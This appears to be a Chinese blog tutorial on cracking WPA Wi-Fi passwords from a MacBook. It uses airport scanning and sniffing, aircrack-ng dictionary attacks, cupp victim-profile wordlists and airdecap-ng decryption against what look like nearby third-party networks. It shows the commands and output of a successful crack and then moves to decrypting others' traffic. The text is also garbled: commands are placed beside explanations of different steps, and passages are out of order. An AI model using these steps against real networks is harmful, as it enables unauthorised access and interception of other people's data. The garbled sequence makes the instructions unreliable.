sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
在寒假里,我度过了一个充实的假期。我默默地学习了安全牛的教程,最近我正在学习关于“无线攻击”的内容。虽然我在学校的电脑上安装了Kali虚拟机,但是没有USB无线网卡。所以我尝试了在MacBook上进行实验。请注意,本文参考了网络上的一些文章,但是我也加入了自己的一些创意。现在大多数无线网络都采用WPA和WPA2加密,而较弱的WEP加密方式已经很少使用了。WPA和WPA2几乎没有弱点,要想破解它们只能通过暴力穷举,理论上只要你的密码设置足够复杂,就是无法破解的(但是谁会把Wi-Fi密码设置得这么复杂呢?)。
首先,我们需要发现附近的网络以及它们所使用的加密密钥。在Kali上实现这一点,我们可以使用airmon-ng来扫描附近的Wi-Fi网络,而MacBook自带了强大的airport工具。为了方便使用airport,我们可以在命令行中执行以下命令:
airport -s
Princeling-Mac at /opt ❯ airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
FAST_236864 cc:34:29:23:68:64 -81 6,-1 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
FAST_20C20A 78:eb:14:20:c2:0a -77 12 Y -- WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
FAST_11D9DC c0:61:18:11:d9:dc -59 7 Y -- WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
iTV-KtYh 46:7b:bb:b9:c5:d0 -59 9 Y US WPA(PSK/TKIP,AES/TKIP)
ChinaNet-KtYh 44:7b:bb:a9:c5:d0 -59 9 Y US WPA(PSK/TKIP,AES/TKIP)
airport en0 sniff 7
执行上述命令后,我们可以直接在命令行中使用airport工具。接下来,我们需要发现附近的网络。在命令行中输入:
brew install airmon-ng
aircrack-ng /tmp/airportSniffLbhZSp.cap
Princeling-Mac at /opt ❯ aircrack-ng /tmp/airportSniffLbhZSp.cap
Opening /tmp/airportSniffLbhZSp.cap
Read 8351 packets.
# BSSID ESSID Encryption
1 C0:61:18:11:D9:DC FAST_11D9DC WPA (1 handshake)
2 CC:34:29:23:68:64 FAST_236864 No data - WEP or WPA
Index number of target network ?
aircrack-ng -w dict.txt -b c0:61:18:11:d9:dc /tmp/airportSniffLbhZSp.cap
输入上述命令后,我们将得到附近网络的列表。在这个过程中,你的Wi-Fi图标会发生变化,同时你的网络连接也会断开。按下Ctrl+C结束扫描。
事实上,我们的暴力穷举攻击并不是不停地向路由器发送请求,这样做既费时又得不到好结果。关于WPA破解原理,网络上有很多文章可以参考。简单来说,我们需要监听到一个用户的正确登录过程,然后获取登录过程中的两组密钥,之后就可以离线破解了。
要监听数据包,我们需要知道en0是你的无线网卡,你可以通过输入以下命令来获取这个信息:
ifconfig
如果你有多个网卡,选择你用来连接Wi-Fi的那个。7是之前发现附近网络时的CHANNEL列,需要与你想要破解的目标网络的CHANNEL一致。运行该命令时,Wi-Fi图标会再次发生变化。此时你的网络连接也会断开,按下Ctrl+C结束监听。
接下来,我们需要分析数据包。不可避免地,我们还需要安装airmon-ng。安装完成后,我们可以使用以下命令来抓取握手数据包:
python3 cupp.py -I
dict.txt是字典文件,c0:61:18:11:d9:dc是之前发现附近网络时的BSSID,/tmp/airportSniffLbhZSp.cap是数据包的路径。关于字典文件的获取方式,有两种方法:
-
从互联网下载:在网络上有很多人收集到的Wi-Fi字典,如果是公共场所的Wi-Fi,这些字典的命中率还是很高的。但是字典很庞大,暴力穷举需要消耗很长时间。
-
自己制作:如果是家庭或私人Wi-Fi,字典的质量就显得很重要。这里推荐一个社交工程字典制作程序,你可以在GitHub上搜索cupp并下载。或者点击这里直接访问。
下面简单演示一下cupp的使用:
Princeling-Mac at ~/Documents/GitHub/cupp ❯ python3 cupp.py -I
___________
cupp.py! # Common
# User
,__, # Passwords
(oo)____ # Profiler
(__) )
||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: wanglei
> Surname:
> Nickname: princeling
> Birthdate (DDMMYYYY):
> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):
> Pet's name:
> Company name:
> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to wanglei.txt, counting 68 words.
[+] Now load your pistolero with wanglei.txt and shoot! Good luck!
Aircrack-ng 1.5.2
[00:00:00] 8/1 keys tested (88.65 k/s)
Time left: 0 seconds 800.00%
KEY FOUND! [ 88888888 ]
Master Key : 26 FB 23 5F FE 0B 39 0A C1 12 F3 30 55 FF EE 02
CB 7E EA 13 B0 CE D6 7E BB 7E AA 52 1B EA 2E 02
Transient Key : 8D E6 57 44 42 BE 95 C2 EC 75 60 FA CA 1A 1A C1
C8 31 46 C4 4D DB 98 4D 34 D7 5A D0 15 9F BD 42
6C 9C 96 5C FC AE 24 39 83 1D A8 89 C7 71 F9 4A
64 D5 DA FB 24 7E 91 47 E6 35 DD 9A 87 A6 A2 5B
EAPOL HMAC : 8D 62 A3 8A 42 D1 68 EA 4B 89 FC FC B6 BC C9 AA
airdecap-ng -e FAST_11D9DC -b c0:61:18:11:d9:dc -p 88888888 ./Downloads/11d9dc.cap
如果你不知道某些信息,可以直接按回车键继续填写相关信息,然后就可以生成字典了。然后,我们可以使用这个字典来破解Wi-Fi密码。
如果你的字典中包含了正确的密码,你将会看到以下界面:
说明破解成功了。现在我们已经获得了Wi-Fi的密码。但是如果我们经过这么多步骤只是为了蹭Wi-Fi,感觉有点浪费时间。有了Wi-Fi密码后,实际上我们可以对Wi-Fi的数据包进行解包,工具就是airdecap。现在,我们可以拿出之前抓取的数据包,用Wireshark打开它。你会看到所有的数据帧都是加密的802.11协议数据。
在命令行中输入以下命令: